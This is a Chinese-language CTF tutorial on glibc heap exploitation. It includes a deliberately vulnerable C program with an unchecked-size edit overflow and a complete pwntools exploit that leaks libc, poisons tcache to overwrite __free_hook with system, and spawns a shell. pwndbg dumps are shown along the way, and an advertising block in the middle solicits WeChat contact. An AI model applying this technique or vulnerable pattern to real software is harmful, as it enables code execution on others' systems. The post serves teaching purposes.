關於“堆”題的總體思路

淺說一下pwn堆,並用一個簡單的例子具體說明,給剛入坑堆的小朋友說的一些思路。

堆是什麼

堆,你可以看成一個結構體數組,然後數組裏每個元素都會開闢一塊內存來存儲數據,那麼這塊用來存儲數據的內存就是堆。

結構體數組在BSS段上,其內容就是堆的地址,也就是堆的指針。

堆的理解

堆有很多題型 什麼堆溢出,off by null , uaf 等。

核心的話主要是學思想,所有人都知道我要得到shell,cat flag。但是要怎麼去幹得有個過程,

比如我們做棧題,很容易知道我要劫持棧的返回去執行任意地址,填入shellcode什麼的。

堆的話也是一樣。

就是用system去執行/bin/sh。越複雜的問題往往只需要很簡單的道理。

所以堆到底要怎麼去執行。

我們可以把某一個函數的內容改成system,下次調用該函數即是使用system,

再在別的堆裏面放入/bin/sh字符串,然後再用剛剛修改的函數,使用已經放入字符串的堆。

即可執行system(/bin/sh)

一般修改__free_hook,使其內容變成system然後再free掉放有/bin/sh的堆

舉例說明

我用一個很簡單的例子去一步一步簡單剖析。

這裏我用一個很簡單的例子去一步一步簡單剖析。

先給出源碼和gcc編譯,使用的是Ubuntu18

gcc -o lizi lizi.c
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no have things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no have things\n");
  } else {
    free(heap[idx]);
    heap[idx]=NULL;
    num--;
  }
}
void edit()
{
  int size;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no have things\n");
  } else {
    puts("how big u read");
    scanf("%d",&size);
    puts("Content:");
    read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}

我們也不用ida了,直接源碼分析,很明顯在edit處能知道我們可以修改堆大小,

而導致的堆溢出修改下一個堆。

【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:yj009991,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC CVE 分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)

我們可以直接使用unsortedbin,申請較大的堆,再free掉,再申請個小堆,

使其從unsortedbin裏面切割堆,這樣,你申請的小堆就會有一些unsortedbin裏面的東西。

(具體請看unsortedbin介紹)

結合exp介紹:

from pwn import *
r=process('./lizi')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("idx\n",str(size))

def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))

def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))

add(0x420)
add(0x420)
add(0x420)
dele(1)

add(0x70)
show(2)

r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ec090
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']

add(0x70)
dele(3)

edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))


add(0x70)
add(0x70)
edit(3,0x10,"/bin/sh\x00")
edit(4,0x10,p64(sys))
dele(3)

r.interactive()

首先菜單不用多說,很簡單的交互,寫好就行

然後申請3個堆,爲了保證能進入unsortedbin,得大於tcache的大小,然後free掉1號堆

unsortedbin
all: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0

可以看到1號堆已經進入到unsortedbin了

然後申請一個小堆

pwndbg> x/32gx 0x55697b2cfaa0
0x55697b2cfaa0: 0x0000000000000000  0x0000000000000081
0x55697b2cfab0: 0x00007fb8eada6090  0x00007fb8eada6090
0x55697b2cfac0: 0x000055697b2cfaa0  0x000055697b2cfaa0
0x55697b2cfad0: 0x0000000000000000  0x0000000000000000
0x55697b2cfae0: 0x0000000000000000  0x0000000000000000
0x55697b2cfaf0: 0x0000000000000000  0x0000000000000000
0x55697b2cfb00: 0x0000000000000000  0x0000000000000000
0x55697b2cfb10: 0x0000000000000000  0x0000000000000000
0x55697b2cfb20: 0x0000000000000000  0x00000000000003b1
0x55697b2cfb30: 0x00007fb8eada5ca0  0x00007fb8eada5ca0
0x55697b2cfb40: 0x0000000000000000  0x0000000000000000
0x55697b2cfb50: 0x0000000000000000  0x0000000000000000
0x55697b2cfb60: 0x0000000000000000  0x0000000000000000
0x55697b2cfb70: 0x0000000000000000  0x0000000000000000
0x55697b2cfb80: 0x0000000000000000  0x0000000000000000
0x55697b2cfb90: 0x0000000000000000  0x0000000000000000

查看申請堆的地址可以發現,11行處是已經之前free掉的1號堆,這個申請的堆會在unsortedbin裏面切割

然後會有殘留地址,然後我們把他show出來就可以計算一波libc地址了。

算出system,__free_hook的libc,

接着爲什麼要多申請一個堆,這裏就是堆溢出的打法了,

在剛剛申請的堆後面再建一個堆,然後通過free掉修改內容指向__free_hook地址

再把內容改成system就可以把free當做system用了;

edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))後面打個斷點

GDB看看

pwndbg> bin
tcachebins
0x80 [  1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0
smallbins
empty
largebins
empty

會發現tcache裏面已經有__free_hook了,因爲已經把內容改成__free_hook的地址了。

然後申請2個堆,把tcache裏面的__free_hook拿出來。

你也可以驗證一下、

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x55f37bb59000     0x55f37bb5a000 r-xp     1000 0 
pwndbg> x/32gx 0x5597ecced000+0x202040
0x5597eceef040 <heap>:  0x00005597ee8ef680  0x0000000000000000
0x5597eceef050 <heap+16>:   0x00005597ee8efab0  0x00005597ee8efb30
0x5597eceef060 <heap+32>:   0x00007f7694f2e8e8  0x0000000000000000
0x5597eceef070 <heap+48>:   0x0000000000000000  0x0000000000000000

0x202040是heap的偏移,可以從ida裏面找到。

申請出來的堆,__free_hook在4號堆

pwndbg> x/32gx 0x00007f7694f2e8e8
0x7f7694f2e8e8 <__free_hook>:   0x0000000000000000  0x0000000000000000
0x7f7694f2e8f8 <next_to_use>:   0x0000000000000000  0x0000000000000000

成功證明,

然後已知4號堆是__free_hook了,那麼將4號堆的內容改成system的地址,不就可以了嗎

然後再把3號堆寫入/bin/sh

然後free(實際上已經變成system)掉3號堆(實際上已經是/bin/sh)了

成功取得shell

總結

做堆題主要是要有一個總體想法就是要把什麼變成system去執行shell,或者也有別的,比如malloc等。

這裏只是一個總體思路,畢竟拿到堆題如果一條總想法都沒有的話,就只能乾坐着了。

更多靶場實驗練習、網安學習資料,請點擊這裏 >>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章